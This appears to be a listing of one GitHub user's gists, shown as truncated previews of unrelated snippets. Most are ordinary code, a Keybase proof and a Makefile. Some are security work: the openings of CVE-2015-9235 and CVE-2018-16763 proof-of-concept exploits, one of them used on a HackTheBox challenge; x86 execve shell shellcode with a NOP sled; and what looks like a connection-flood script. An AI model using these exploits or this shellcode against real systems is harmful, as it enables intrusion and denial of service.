wulfgarpro

"""
CVE-2015-9235 PoC, known as
"JWT HS/RSA key confusion vulnerability".

This PoC was used to solve the HTB challenge
"Under Construction" on HackTheBox (HTB).

USAGE:
==
Token was obtained by logging into the

wulfgarpro

//
// An implementation of GetModuleHandle and GetProcAddress that works with manually mapped modules, forwarded exports,
// without a CRT standard library, and uses no Windows API or dependencies.
//
// Author: Bill Demirkapi
// License: MIT, appended at the bottom of this document if you care about licensing and want to credit me in your own project.
//

#include <Windows.h>
#include <winternl.h>

wulfgarpro

use anyhow::{anyhow, Result};

fn main() -> Result<()> {
    let v = vec![false, true, true];

    let res = v.iter().map(|x| {
        println!("looped"); // Loops only two times, not 3.
        if *x {
            Err(anyhow!("error"))
        } else {

wulfgarpro

use ignore::WalkBuilder;
use ignore::overrides::OverrideBuilder;

fn main() {
    let folder = "/tmp/files";
    let mut override_builder = OverrideBuilder::new(folder);
    override_builder.add("!test.txt").unwrap();
    override_builder.add("!test.rs").unwrap();
    let or = override_builder.build().unwrap();
    

wulfgarpro

#include <iostream>

void help() {
    std::cout << "Help" << std::endl;
}

void option1(std::string arg) {
    std::cout << "option1: " << arg << std::endl;
}

wulfgarpro

"""
FUEL CMS v1.4.1 CVE-2018-16763 PoC.

This PoC was derived from: https://www.exploit-db.com/exploits/47138.
"""
import argparse
import urllib
import requests

parser = argparse.ArgumentParser('Fuel CMS v1.4 CVE-2018-16763 PoC')

wulfgarpro

BUF_SIZE=112
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
shellcode += "\x80"

NOP_SLED = "\x90" * (BUF_SIZE - len(shellcode))
#0xffffd49c
#0xffffd4ac
#0xffffd440
#0xffffd43c

wulfgarpro

Keybase proof

I hereby claim:

• I am wulfgarpro on github.
• I am wulfgarpro (https://keybase.io/wulfgarpro) on keybase.
• I have a public key ASC8ENkegPmPXmvdtPn9D7MLtZLEmUW4JLAErh-1Zn0p2Ao

To claim this, I am signing this object:

wulfgarpro

'use strict';

const net = require('net');
const maxConnections = 200; // Max connections
const host = '127.0.0.1';
const port = 80;

let connections= [];

function Connection(h, p) {

wulfgarpro

SRCS = a.c

depend: .depend

.depend: $(SRCS)
        rm -f ./.depend
        $(CC) $(CFLAGS) -MM $^ -MF  ./.depend;

include .depend